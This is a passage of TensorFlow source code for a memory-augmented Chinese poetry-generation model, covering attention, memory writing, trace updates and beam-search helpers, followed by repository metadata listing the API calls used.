variable_scope.get_variable(\"AttnW\", [1, 1, attn_size, attention_vec_size])\n            hidden_features = nn_ops.conv2d(hidden, k, [1, 1, 1, 1], \"SAME\") #input [batch, in_height, in_width, in_channels]\n            v = variable_scope.get_variable(\"AttnV\", [attention_vec_size])  #filter [filter_height, filter_width, in_channels, out_channels]\n                #hidden_features [batch_size,attn_length,1,attn_size]\n            y = linear(query, attention_vec_size, True)\n            y = array_ops.reshape(y, [-1, 1, 1, attention_vec_size])\n            # Attention mask is a softmax of v^T * tanh(...).\n            s = math_ops.reduce_sum( v * math_ops.tanh(hidden_features + y), [2, 3]) # * multiply 广播\n            a = nn_ops.softmax(s + attn_mask) #s [batch_size,attn_length]\n            # Now calculate the attention-weighted vector d.\n            d = math_ops.reduce_sum( array_ops.reshape(a, [-1, attn_length, 1, 1]) * hidden, [1, 2]) #[batch_size,attn_size]\n            d = array_ops.reshape(d, [-1, attn_size])  #remember this size\n            return d, a\n\n    # Write history memory\n    def __write_memory(self, his_mem, enc_states, global_trace, step):\n        with variable_scope.variable_scope(\"write_memory\"):\n            mem_slots = his_mem.get_shape()[1].value\n            mem_size = his_mem.get_shape()[2].value\n\n            for i, state in enumerate(enc_states):\n                if i > 0:\n                    variable_scope.get_variable_scope().reuse_variables()\n\n                # Concatenate history memory with the null slot\n                tmp_mem = array_ops.concat([his_mem, tf.identity(self.null_mem)], axis=1) #[batch_size,his_mem_slots+1,his_mem_size]\n\n                hidden = array_ops.reshape(tmp_mem, [-1, mem_slots+1, 1, mem_size]) \n                k = variable_scope.get_variable(\"AttnW\", [1, 1, mem_size, mem_size])\n                mem_features = nn_ops.conv2d(hidden, k, [1, 1, 1, 1], \"SAME\")\n                v = variable_scope.get_variable(\"AttnV\", [mem_size])\n\n                mstate = state\n                y = linear([flatten_query(mstate), global_trace], mem_size, True, scope = \"query_trans\")\n                y = array_ops.reshape(y, [-1, 1, 1, mem_size])\n                s = math_ops.reduce_sum(v * math_ops.tanh(mem_features + y), [2, 3])  #[batch_size,mem_slots+1]\n                random_mask = 1.0 - tf.sign(math_ops.reduce_sum(tf.abs(tmp_mem), axis=2)) #[batch_size,his_mem_slots+1]\n                    #tf.sign(x) 若x==0，返回0；若x<0，返回-1；若x>0，返回1\n                # The random_mask shows if a slot is empty, 1 empty, 0 not empty.\n                # The null mask is 1 if there is at least 1 empty slot.\n                null_mask = random_mask[:, 0:self.hps.his_mem_slots]\n                null_mask = math_ops.reduce_sum(null_mask, axis=1) #[batch_size]\n                null_mask = tf.sign(null_mask)\n\n                bias = self.random_bias * random_mask #random_bias tensor [batch_size,his_mem_slots+1]\n                max_bias = tf.reduce_max(bias, axis=1) #[batch_size]\n                max_bias = tf.expand_dims(max_bias, axis=1) #[batch_size,1]\n                bias = tf.divide(bias, max_bias + 1e-12)\n                \n                max_s = tf.expand_dims(math_ops.reduce_max(s, axis=1), axis=1) #[batch_size,1]\n\n                thred1 = tf.ones([self.b_size, self.hps.his_mem_slots+1], dtype=tf.float32)\n                thred2 = tf.zeros([self.b_size, self.hps.his_mem_slots+1], dtype=tf.float32)\n                thred = tf.where(tf.equal(null_mask, 1), thred1, thred2)\n\n                bias1 = bias * tf.abs(max_s) * thred\n                s1 = s + bias1 #为什么要加bias???\n                a = nn_ops.softmax(s1) #[batch_size,his_mem_slots+1]\n\n                max_val = tf.reduce_max(a, axis=1) #[batch_size]\n                max_val = tf.expand_dims(max_val, axis=1) #[batch_size,1]\n\n                if self.mode == 'train':\n                    float_mask0 = tf.tanh(self.gama * (a - max_val)) + 1.0\n                elif self.mode == 'decode':\n                    float_mask0 = tf.sign(a - max_val) + 1.0\n\n                mask = self.write_masks[step][i]\n                float_mask = tf.multiply(mask, float_mask0)\n                float_mask = tf.expand_dims(float_mask, axis=2) #[batch_size,his_mem_slots+1,1]\n                #print (np.shape(float_mask))\n\n                w_states = tf.tile(mstate, [1, mem_slots]) #[batch_size,2*hidden_size] 变为[batch_size,mem_slots*2*hidden_size]\n                w_states = array_ops.reshape(w_states, [-1, mem_slots, mem_size])\n                \n                final_mask = float_mask[:, 0:self.hps.his_mem_slots, :] #[batch_size,his_mem_slots,1]\n                #print (final_mask.get_shape())\n                his_mem = (1.0 - final_mask) * his_mem + final_mask * w_states\n\n            return his_mem\n\n    def __topic_trace_update(self, topic_trace, key_align, key_states): #topic_trace [batch_size,topic_trace_size+key_slots] key_align [batch_size,key_slots] key_states [batch_size,key_slots,hidden_size*2]\n        with variable_scope.variable_scope(\"topic_trace_update\"):\n            key_used = math_ops.reduce_mean(tf.multiply(key_states, \n                tf.expand_dims(key_align, axis=2)), axis=1) #[batch_size,key_slots,1] => [batch_size,key_slots,2*hidden_size] => [batch_size,2*hidden_size]\n            new_topic_trace = linear([topic_trace[:, 0:self.hps.topic_trace_size], key_used], \n                self.hps.topic_trace_size, True)\n            new_topic_trace = tf.tanh(new_topic_trace) #[batch_size,topic_trace_size]\n            attn_los = topic_trace[:, self.hps.topic_trace_size:] + key_align #[batch_size,key_slots]\n\n            fin_topic_trace = array_ops.concat([new_topic_trace, attn_los], 1)\n            return fin_topic_trace\n\n    def __global_trace_update(self, global_trace, enc_states): #enc_states [batch_size,time,self.enc_cell_fw.output_size*2]\n        with variable_scope.variable_scope(\"global_trace_update\", reuse=None):\n            state = math_ops.reduce_mean(enc_states, axis=1) #[batch_size,self.enc_cell_fw.output_size*2]        \n            new_global_trace = math_ops.tanh(linear([global_trace, state], \n                self.hps.global_trace_size, True)) #[batch_size,global_trace_size]\n            new_global_trace = array_ops.reshape(new_global_trace, [-1, self.hps.global_trace_size])\n            return new_global_trace\n\n    #_____________________________________________\n    # Functions for training or generation\n\n    def step(self, session, data_dic, forward_only):\n        '''For training one batch'''\n        keep_prob = 1.0 if forward_only else 0.75\n\n        input_feed = {}\n        input_feed[self.keep_prob] = keep_prob\n        \n        for step in xrange(self.hps.key_slots):\n            # NOTE: each topic word must consist of no more than 2 characters\n            for j in xrange(2):\n                input_feed[self.key_inps[step][j].name] = data_dic['key_inps'][step][j]\n        input_feed[self.key_mask.name] = data_dic['key_mask']\n\n        for step in xrange(0, self.hps.sens_num):\n            if len(data_dic['enc_inps'][step]) != self.enc_len:\n                raise ValueError(\"length must be equal %d != %d.\" % \n                    (len(data_dic['enc_inps'][step]), self.enc_len))\n\n            if len(data_dic['dec_inps'][step]) != self.dec_len:\n                raise ValueError(\"length must be equal %d != %d. \" %\n                 (len(data_dic['dec_inps'][step]), self.dec_len))\n            \n            if len(data_dic['trg_weights'][step]) != self.dec_len:\n                raise ValueError(\" length must be equal %d != %d.\" %\n                    (len(data_dic['trg_weights'][step]), self.dec_len))\n\n        \n            for l in xrange(self.enc_len):\n                input_feed[self.enc_inps[step][l].name] = data_dic['enc_inps'][step][l]\n                input_feed[self.write_masks[step][l].name] = data_dic['write_masks'][step][l]\n            for l in xrange(self.dec_len):\n                input_feed[self.dec_inps[step][l].name] = data_dic['dec_inps'][step][l]\n                input_feed[self.trg_weights[step][l].name] = data_dic['trg_weights'][step][l]\n                input_feed[self.len_inps[step][l].name] = data_dic['len_inps'][step][l]\n                input_feed[self.ph_inps[step][l].name] = data_dic['ph_inps'][step][l]\n\n            last_target = self.dec_inps[step][self.dec_len].name\n            input_feed[last_target] = np.ones([self.hps.batch_size], dtype=np.int32) * self.hps.PAD_ID\n            input_feed[self.enc_mask[step].name] =data_dic['enc_mask'][step]\n\n        output_feed = []       \n        for step in xrange(0, self.hps.sens_num):\n            for l in xrange(self.dec_len):  # Output logits.\n                output_feed.append(self.outputs[step][l]) #[batch_size,vocab_size]\n\n        if not forward_only:\n            output_feed += [self.update, self.gen_loss] \n        else:\n            output_feed += [self.gen_loss]  # Loss for this batch.\n\n        outputs = session.run(output_feed, input_feed)\n\n        logits = [] #长度为4的list，每个元素是长度为dec_len的list，每个元素[batch_size,vocab_size]\n        for step in xrange(0, self.hps.sens_num):\n            logits.append(outputs[step*self.dec_len:(step+1)*self.dec_len])\n\n        n = self.dec_len * self.hps.sens_num\n        if not forward_only:\n            return logits, outputs[n+1]\n        else:\n            return logits, outputs[n]\n\n    #----------------------------------------\n    # Some apis for beam search\n    def key_memory_computer(self, session, key_inps, key_mask):\n        input_feed = {}\n        input_feed[self.keep_prob] = 1.0\n        for step in xrange(self.hps.key_slots):\n            for j in xrange(2):\n                input_feed[self.key_inps[step][j].name] = key_inps[step][j]\n        input_feed[self.key_mask.name] = key_mask\n\n        output_feed = [self.key_initial_state, self.key_states]\n        outputs = session.run(output_feed, input_feed)\n        return outputs[0], outputs[1]  # key_initial_state, key_states\n\n    def encoder_computer(self, session, enc_inps, enc_mask):\n        assert self.enc_len == len(enc_inps) \n        input_feed = {}\n        input_feed[self.keep_prob] = 1.0\n        for l in xrange(self.enc_len):\n            input_feed[self.enc_inps[0][l].name] = enc_inps[l]\n\n        input_feed[self.enc_mask[0].name] = enc_mask\n        output_feed = [self.enc_state, self.attn_states]\n        outputs = session.run(output_feed, input_feed)\n        return outputs[0], outputs[1]  # encoder_state, attention_states\n        \n\n    def decoder_state_computer(self, sess, dec_inp, len_inp, ph_inp, prev_state,\n        attn_states, key_states, his_mem, global_trace, enc_mask, key_mask,\n         his_mem_mask, topic_trace):\n        input_feed = {}\n        input_feed[self.keep_prob] = 1.0\n\n        input_feed[self.dec_inps[0][0].name] = dec_inp #为什么是第0个？？？\n        input_feed[self.len_inps[0][0].name] = len_inp\n        input_feed[self.ph_inps[0][0].name] = ph_inp\n\n        input_feed[self.beam_attn_states.name] = attn_states\n        input_feed[self.enc_mask[0].name] = enc_mask\n        input_feed[self.beam_initial_state.name] = prev_state\n        input_feed[self.beam_key_states.name] = key_states\n        input_feed[self.key_mask.name] = key_mask\n        input_feed[self.beam_global_trace.name] = global_trace\n        input_feed[self.beam_topic_trace.name] = topic_trace\n\n        input_feed[self.beam_his_mem.name] = his_mem\n        input_feed[self.beam_his_mem_mask.name] = his_mem_mask\n\n        output_feed = [self.next_out[0], self.next_state[0], self.next_align[0][0]] #为什么！！！\n\n        outputs = sess.run(output_feed, input_feed)\n\n        return outputs[0], outputs[1], outputs[2]# next_output, next_state, next_align\n\n    def topic_trace_computer(self, session, key_states, prev_topic_trace, key_align):\n        input_feed = {}\n        input_feed[self.keep_prob] = 1.0\n        input_feed[self.beam_key_states.name] = key_states\n        input_feed[self.beam_topic_trace.name] = prev_topic_trace\n        input_feed[self.beam_key_align.name] = key_align\n        output_feed = [self.new_topic_trace]\n\n        outputs = session.run(output_feed, input_feed)\n        return outputs[0]\n\n    def global_trace_computer(self, session, prev_global_trace, prev_attn_states):\n        input_feed = {}\n        input_feed[self.keep_prob] = 1.0\n        input_feed [self.beam_global_trace] = prev_global_trace\n        input_feed[self.beam_attn_states] = prev_attn_states\n        output_feed = [self.new_global_trace]\n\n        outputs = session.run(output_feed, input_feed)\n\n        return outputs[0]\n\n    def his_mem_computer(self, session, his_mem, prev_enc_states, mem_write_mask, global_trace):\n        input_feed = {}\n        input_feed[self.keep_prob] = 1.0\n        input_feed[self.beam_his_mem.name] = his_mem\n\n        for l in xrange(self.enc_len):\n            input_feed[self.beam_mem_states[l]] = prev_enc_states[l]\n            input_feed[self.write_masks[0][l]] = mem_write_mask[l]\n        input_feed [self.beam_global_trace.name] = global_trace\n\n        output_feed = [self.new_his_mem] \n        outputs = session.run(output_feed, input_feed)\n\n        return outputs[0]", "repo_name": "shuizhonghaitong/WMPoetry-master", "sub_path": "wm/model.py", "file_name": "model.py", "file_ext": "py", "file_size_in_byte": 35205, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "78", "api": [{"api_name": "tensorflow.placeholder", "line_number": 25, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 25, "usage_type": "attribute"}, {"api_name": "tensorflow.Variable", "line_number": 26, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 28, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 28, "usage_type": "attribute"}, {"api_name": "tensorflow.constant", "line_number": 29, "usage_type": "call"}, {"api_name": "tensorflow.Variable", "line_number": 31, "usage_type": "call"}, {"api_name": "six.moves.xrange", "line_number": 40, "usage_type": "call"}, {"api_name": "six.moves.xrange", "line_number": 45, "usage_type": "call"}, {"api_name": "random.shuffle", "line_number": 47, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 48, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 49, "usage_type": "call"}, {"api_name": "numpy.shape", "line_number": 50, "usage_type": "call"}, {"api_name": "tensorflow.constant", "line_number": 51, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 51, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 54, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 54, "usage_type": "attribute"}, {"api_name": "numpy.expand_dims", "line_number": 55, "usage_type": "call"}, {"api_name": "tensorflow.variable_scope", "line_number": 61, "usage_type": "call"}, {"api_name": "tensorflow.device", "line_number": 61, "usage_type": "call"}, {"api_name": "tensorflow.constant_initializer", "line_number": 64, "usage_type": "call"}, {"api_name": "tensorflow.truncated_normal_initializer", "line_number": 67, "usage_type": "call"}, {"api_name": "tensorflow.get_variable", "line_number": 68, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 69, "usage_type": "attribute"}, {"api_name": "tensorflow.nn.embedding_lookup", "line_number": 71, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 71, "usage_type": "attribute"}, {"api_name": "tensorflow.nn.embedding_lookup", "line_number": 72, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 72, "usage_type": "attribute"}, {"api_name": "tensorflow.nn.embedding_lookup", "line_number": 73, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 73, "usage_type": "attribute"}, {"api_name": "six.moves.xrange", "line_number": 74, "usage_type": "call"}, {"api_name": "tensorflow.variable_scope", "line_number": 77, "usage_type": "call"}, {"api_name": "tensorflow.device", "line_number": 77, "usage_type": "call"}, {"api_name": "tensorflow.get_variable", "line_number": 79, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 79, "usage_type": "attribute"}, {"api_name": "tensorflow.truncated_normal_initializer", "line_number": 80, "usage_type": "call"}, {"api_name": "tensorflow.nn.embedding_lookup", "line_number": 81, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 81, "usage_type": "attribute"}, {"api_name": "tensorflow.variable_scope", "line_number": 83, "usage_type": "call"}, {"api_name": "tensorflow.device", "line_number": 83, "usage_type": "call"}, {"api_name": "tensorflow.get_variable", "line_number": 84, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 84, "usage_type": "attribute"}, {"api_name": "tensorflow.truncated_normal_initializer", "line_number": 85, "usage_type": "call"}, {"api_name": "tensorflow.nn.embedding_lookup", "line_number": 86, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 86, "usage_type": "attribute"}, {"api_name": "six.moves.xrange", "line_number": 89, "usage_type": "call"}, {"api_name": "six.moves.xrange", "line_number": 90, "usage_type": "call"}, {"api_name": "six.moves.xrange", "line_number": 91, "usage_type": "call"}, {"api_name": "tensorflow.python.ops.array_ops.concat", "line_number": 92, "usage_type": "call"}, {"api_name": "tensorflow.python.ops.array_ops", "line_number": 92, "usage_type": "name"}, {"api_name": "tensorflow.nn.rnn_cell.GRUCell", "line_number": 95, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 95, "usage_type": "attribute"}, {"api_name": "tensorflow.nn.rnn_cell.GRUCell", "line_number": 96, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 96, "usage_type": "attribute"}, {"api_name": "tensorflow.nn.rnn_cell.DropoutWrapper", "line_number": 98, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 98, "usage_type": "attribute"}, {"api_name": "tensorflow.nn.rnn_cell.DropoutWrapper", "line_number": 100, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 100, "usage_type": "attribute"}, {"api_name": "tensorflow.train.Saver", "line_number": 109, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 109, "usage_type": "attribute"}, {"api_name": "tensorflow.global_variables", "line_number": 109, "usage_type": "call"}, {"api_name": "six.moves.xrange", "line_number": 113, "usage_type": "call"}, {"api_name": "six.moves.xrange", "line_number": 114, "usage_type": "call"}, {"api_name": "six.moves.xrange", "line_number": 115, "usage_type": "call"}, {"api_name": "six.moves.xrange", "line_number": 116, "usage_type": "call"}, {"api_name": "six.moves.xrange", "line_number": 117, "usage_type": "call"}, {"api_name": "six.moves.xrange", "line_number": 118, "usage_type": "call"}, {"api_name": "six.moves.xrange", "line_number": 120, "usage_type": "call"}, {"api_name": "six.moves.xrange", "line_number": 121, "usage_type": "call"}, {"api_name": "tensorflow.placeholder", "line_number": 122, "usage_type": "call"}, {"api_name": "tensorflow.int32", "line_number": 122, "usage_type": "attribute"}, {"api_name": "tensorflow.placeholder", "line_number": 123, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 123, "usage_type": "attribute"}, {"api_name": "six.moves.xrange", "line_number": 124, "usage_type": "call"}, {"api_name": "tensorflow.placeholder", "line_number": 125, "usage_type": "call"}, {"api_name": "tensorflow.int32", "line_number": 125, "usage_type": "attribute"}, {"api_name": "tensorflow.placeholder", "line_number": 126, "usage_type": "call"}, {"api_name": "tensorflow.int32", "line_number": 126, "usage_type": "attribute"}, {"api_name": "tensorflow.placeholder", "line_number": 127, "usage_type": "call"}, {"api_name": "tensorflow.int32", "line_number": 127, "usage_type": "attribute"}, {"api_name": "tensorflow.placeholder", "line_number": 129, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 129, "usage_type": "attribute"}, {"api_name": "six.moves.xrange", "line_number": 131, "usage_type": "call"}, {"api_name": "six.moves.xrange", "line_number": 132, "usage_type": "call"}, {"api_name": "six.moves.xrange", "line_number": 134, "usage_type": "call"}, {"api_name": "tensorflow.placeholder", "line_number": 135, "usage_type": "call"}, {"api_name": "tensorflow.int32", "line_number": 135, "usage_type": "attribute"}, {"api_name": "tensorflow.placeholder", "line_number": 136, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 136, "usage_type": "attribute"}, {"api_name": "six.moves.xrange", "line_number": 138, "usage_type": "call"}, {"api_name": "six.moves.xrange", "line_number": 139, "usage_type": "call"}, {"api_name": "six.moves.xrange", "line_number": 140, "usage_type": "call"}, {"api_name": "tensorflow.placeholder", "line_number": 141, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 141, "usage_type": "attribute"}, {"api_name": "six.moves.xrange", "line_number": 143, "usage_type": "call"}, {"api_name": "six.moves.xrange", "line_number": 144, "usage_type": "call"}, {"api_name": "six.moves.xrange", "line_number": 145, "usage_type": "call"}, {"api_name": "tensorflow.placeholder", "line_number": 148, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 148, "usage_type": "attribute"}, {"api_name": "tensorflow.placeholder", "line_number": 150, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 150, "usage_type": "attribute"}, {"api_name": "tensorflow.placeholder", "line_number": 152, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 152, "usage_type": "attribute"}, {"api_name": "tensorflow.placeholder", "line_number": 154, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 154, "usage_type": "attribute"}, {"api_name": "tensorflow.placeholder", "line_number": 156, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 156, "usage_type": "attribute"}, {"api_name": "tensorflow.placeholder", "line_number": 159, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 159, "usage_type": "attribute"}, {"api_name": "tensorflow.placeholder", "line_number": 161, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 161, "usage_type": "attribute"}, {"api_name": "tensorflow.placeholder", "line_number": 163, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 163, "usage_type": "attribute"}, {"api_name": "six.moves.xrange", "line_number": 168, "usage_type": "call"}, {"api_name": "tensorflow.placeholder", "line_number": 169, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 169, "usage_type": "attribute"}, {"api_name": "tensorflow.device", "line_number": 174, "usage_type": "call"}, {"api_name": "tensorflow.variable_scope", "line_number": 174, "usage_type": "call"}, {"api_name": "tensorflow.unstack", "line_number": 178, "usage_type": "call"}, {"api_name": "tensorflow.unstack", "line_number": 179, "usage_type": "call"}, {"api_name": "tensorflow.python.ops.array_ops.concat", "line_number": 180, "usage_type": "call"}, {"api_name": "tensorflow.python.ops.array_ops", "line_number": 180, "usage_type": "name"}, {"api_name": "tensorflow.python.ops.array_ops.concat", "line_number": 181, "usage_type": "call"}, {"api_name": "tensorflow.python.ops.array_ops", "line_number": 181, "usage_type": "name"}, {"api_name": "tensorflow.device", "line_number": 194, "usage_type": "call"}, {"api_name": "tensorflow.trainable_variables", "line_number": 198, "usage_type": "call"}, {"api_name": "tensorflow.nn.l2_loss", "line_number": 205, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 205, "usage_type": "attribute"}, {"api_name": "tensorflow.python.ops.math_ops.reduce_sum", "line_number": 207, "usage_type": "call"}, {"api_name": "tensorflow.python.ops.math_ops", "line_number": 207, "usage_type": "name"}, {"api_name": "tensorflow.python.ops.math_ops.reduce_mean", "line_number": 208, "usage_type": "call"}, {"api_name": "tensorflow.python.ops.math_ops", "line_number": 208, "usage_type": "name"}, {"api_name": "tensorflow.train.AdamOptimizer", "line_number": 210, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 210, "usage_type": "attribute"}, {"api_name": "tensorflow.gradients", "line_number": 211, "usage_type": "call"}, {"api_name": "tensorflow.clip_by_global_norm", "line_number": 212, "usage_type": "call"}, {"api_name": "tensorflow.variable_scope", "line_number": 222, "usage_type": "call"}, {"api_name": "tensorflow.python.ops.array_ops.zeros", "line_number": 224, "usage_type": "call"}, {"api_name": "tensorflow.python.ops.array_ops", "line_number": 224, "usage_type": "name"}, {"api_name": "tensorflow.float32", "line_number": 225, "usage_type": "attribute"}, {"api_name": "tensorflow.python.ops.array_ops.zeros", "line_number": 227, "usage_type": "call"}, {"api_name": "tensorflow.python.ops.array_ops", "line_number": 227, "usage_type": "name"}, {"api_name": "tensorflow.float32", "line_number": 228, "usage_type": "attribute"}, {"api_name": "tensorflow.python.ops.array_ops.zeros", "line_number": 230, "usage_type": "call"}, {"api_name": "tensorflow.python.ops.array_ops", "line_number": 230, "usage_type": "name"}, {"api_name": "tensorflow.float32", "line_number": 231, "usage_type": "attribute"}, {"api_name": "tensorflow.constant", "line_number": 233, "usage_type": "call"}, {"api_name": "six.moves.xrange", "line_number": 237, "usage_type": "call"}, {"api_name": "tensorflow.python.ops.variable_scope.get_variable_scope", "line_number": 240, "usage_type": "call"}, {"api_name": "tensorflow.python.ops.variable_scope", "line_number": 240, "usage_type": "name"}, {"api_name": "tensorflow.python.ops.math_ops.reduce_sum", "line_number": 246, "usage_type": "call"}, {"api_name": "tensorflow.python.ops.math_ops", "line_number": 246, "usage_type": "name"}, {"api_name": "tensorflow.abs", "line_number": 246, "usage_type": "call"}, {"api_name": "tensorflow.not_equal", "line_number": 247, "usage_type": "call"}, {"api_name": "tensorflow.to_float", "line_number": 248, "usage_type": "call"}, {"api_name": "tensorflow.identity", "line_number": 251, "usage_type": "call"}, {"api_name": "tensorflow.unstack", "line_number": 262, "usage_type": "call"}, {"api_name": "tensorflow.unstack", "line_number": 263, "usage_type": "call"}, {"api_name": "tensorflow.python.ops.array_ops.concat", "line_number": 264, "usage_type": "call"}, {"api_name": "tensorflow.python.ops.array_ops", "line_number": 264, "usage_type": "name"}, {"api_name": "tensorflow.python.ops.array_ops.concat", "line_number": 265, "usage_type": "call"}, {"api_name": "tensorflow.python.ops.array_ops", "line_number": 265, "usage_type": "name"}, {"api_name": "tensorflow.python.ops.array_ops.concat", "line_number": 271, "usage_type": "call"}, {"api_name": "tensorflow.python.ops.array_ops", "line_number": 271, "usage_type": "name"}, {"api_name": "tensorflow.python.ops.math_ops.reduce_mean", "line_number": 273, "usage_type": "call"}, {"api_name": "tensorflow.python.ops.math_ops", "line_number": 273, "usage_type": "name"}, {"api_name": "functions.sequence_loss", "line_number": 278, "usage_type": "call"}, {"api_name": "tensorflow.python.ops.variable_scope.variable_scope", "line_number": 284, "usage_type": "call"}, {"api_name": "tensorflow.python.ops.variable_scope", "line_number": 284, "usage_type": "name"}, {"api_name": "six.moves.xrange", "line_number": 285, "usage_type": "call"}, {"api_name": "tensorflow.python.ops.variable_scope.get_variable_scope", "line_number": 287, "usage_type": "call"}, {"api_name": "tensorflow.python.ops.variable_scope", "line_number": 287, "usage_type": "name"}, {"api_name": "tensorflow.python.ops.rnn.static_bidirectional_rnn", "line_number": 288, "usage_type": "call"}, {"api_name": "tensorflow.python.ops.rnn", "line_number": 288, "usage_type": "name"}, {"api_name": "tensorflow.float32", "line_number": 289, "usage_type": "attribute"}, {"api_name": "tensorflow.python.ops.array_ops.concat", "line_number": 290, "usage_type": "call"}, {"api_name": "tensorflow.python.ops.array_ops", "line_number": 290, "usage_type": "name"}, {"api_name": "tensorflow.python.ops.variable_scope.variable_scope", "line_number": 293, "usage_type": "call"}, {"api_name": "tensorflow.python.ops.variable_scope", "line_number": 293, "usage_type": "name"}, {"api_name": "tensorflow.python.ops.array_ops.reshape", "line_number": 294, "usage_type": "call"}, {"api_name": "tensorflow.python.ops.array_ops", "line_number": 294, "usage_type": "name"}, {"api_name": "tensorflow.python.ops.array_ops.concat", "line_number": 295, "usage_type": "call"}, {"api_name": "tensorflow.python.ops.array_ops", "line_number": 295, "usage_type": "name"}, {"api_name": "tensorflow.multiply", "line_number": 296, "usage_type": "call"}, {"api_name": "tensorflow.python.ops.math_ops.reduce_mean", "line_number": 298, "usage_type": "call"}, {"api_name": "tensorflow.python.ops.math_ops", "line_number": 298, "usage_type": "name"}, {"api_name": "nn.linear", "line_number": 299, "usage_type": "call"}, {"api_name": "tensorflow.tanh", "line_number": 300, "usage_type": "call"}, {"api_name": "tensorflow.python.ops.variable_scope.variable_scope", "line_number": 306, "usage_type": "call"}, {"api_name": "tensorflow.python.ops.variable_scope", "line_number": 306, "usage_type": "name"}, {"api_name": "tensorflow.python.ops.rnn.static_bidirectional_rnn", "line_number": 307, "usage_type": "call"}, {"api_name": "tensorflow.python.ops.rnn", "line_number": 307, "usage_type": "name"}, {"api_name": "tensorflow.float32", "line_number": 308, "usage_type": "attribute"}, {"api_name": "tensorflow.python.ops.variable_scope.variable_scope", "line_number": 312, "usage_type": "call"}, {"api_name": "tensorflow.python.ops.variable_scope", "line_number": 312, "usage_type": "name"}, {"api_name": "nn.linear", "line_number": 314, "usage_type": "call"}, {"api_name": "tensorflow.tanh", "line_number": 315, "usage_type": "call"}, {"api_name": "tensorflow.python.ops.array_ops.reshape", "line_number": 317, "usage_type": "call"}, {"api_name": "tensorflow.python.ops.array_ops", "line_number": 317, "usage_type": "name"}, {"api_name": "tensorflow.python.ops.array_ops.concat", "line_number": 318, "usage_type": "call"}, {"api_name": "tensorflow.python.ops.array_ops", "line_number": 318, "usage_type": "name"}, {"api_name": "tensorflow.multiply", "line_number": 320, "usage_type": "call"}, {"api_name": "tensorflow.python.ops.variable_scope.variable_scope", "line_number": 326, "usage_type": "call"}, {"api_name": "tensorflow.python.ops.variable_scope", "line_number": 326, "usage_type": "name"}, {"api_name": "tensorflow.nn.rnn_cell.GRUCell", "line_number": 328, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 328, "usage_type": "attribute"}, {"api_name": "tensorflow.nn.rnn_cell.DropoutWrapper", "line_number": 329, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 329, "usage_type": "attribute"}, {"api_name": "tensorflow.where", "line_number": 341, "usage_type": "call"}, {"api_name": "tensorflow.equal", "line_number": 341, "usage_type": "call"}, {"api_name": "tensorflow.ones_like", "line_number": 341, "usage_type": "call"}, {"api_name": "tensorflow.python.ops.variable_scope.get_variable_scope", "line_number": 350, "usage_type": "call"}, {"api_name": "tensorflow.python.ops.variable_scope", "line_number": 350, "usage_type": "name"}, {"api_name": "functions.flatten_query", "line_number": 356, "usage_type": "call"}, {"api_name": "tensorflow.python.ops.variable_scope.variable_scope", "line_number": 358, "usage_type": "call"}, {"api_name": "tensorflow.python.ops.variable_scope", "line_number": 358, "usage_type": "name"}, {"api_name": "nn.linear", "line_number": 359, "usage_type": "call"}, {"api_name": "tensorflow.python.ops.variable_scope.variable_scope", "line_number": 364, "usage_type": "call"}, {"api_name": "tensorflow.python.ops.variable_scope", "line_number": 364, "usage_type": "name"}, {"api_name": "nn.linear", "line_number": 365, "usage_type": "call"}, {"api_name": "tensorflow.identity", "line_number": 367, "usage_type": "call"}, {"api_name": "tensorflow.identity", "line_number": 368, "usage_type": "call"}, {"api_name": "tensorflow.nn.softmax", "line_number": 368, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 368, "usage_type": "attribute"}, {"api_name": "tensorflow.identity", "line_number": 370, "usage_type": "call"}, {"api_name": "tensorflow.python.ops.variable_scope.variable_scope", "line_number": 376, "usage_type": "call"}, {"api_name": "tensorflow.python.ops.variable_scope", "line_number": 376, "usage_type": "name"}, {"api_name": "tensorflow.python.ops.array_ops.reshape", "line_number": 381, "usage_type": "call"}, {"api_name": "tensorflow.python.ops.array_ops", "line_number": 381, "usage_type": "name"}, {"api_name": "tensorflow.python.ops.variable_scope.get_variable", "line_number": 386, "usage_type": "call"}, {"api_name": "tensorflow.python.ops.variable_scope", "line_number": 386, "usage_type": "name"}, {"api_name": "tensorflow.python.ops.nn_ops.conv2d", "line_number": 387, "usage_type": 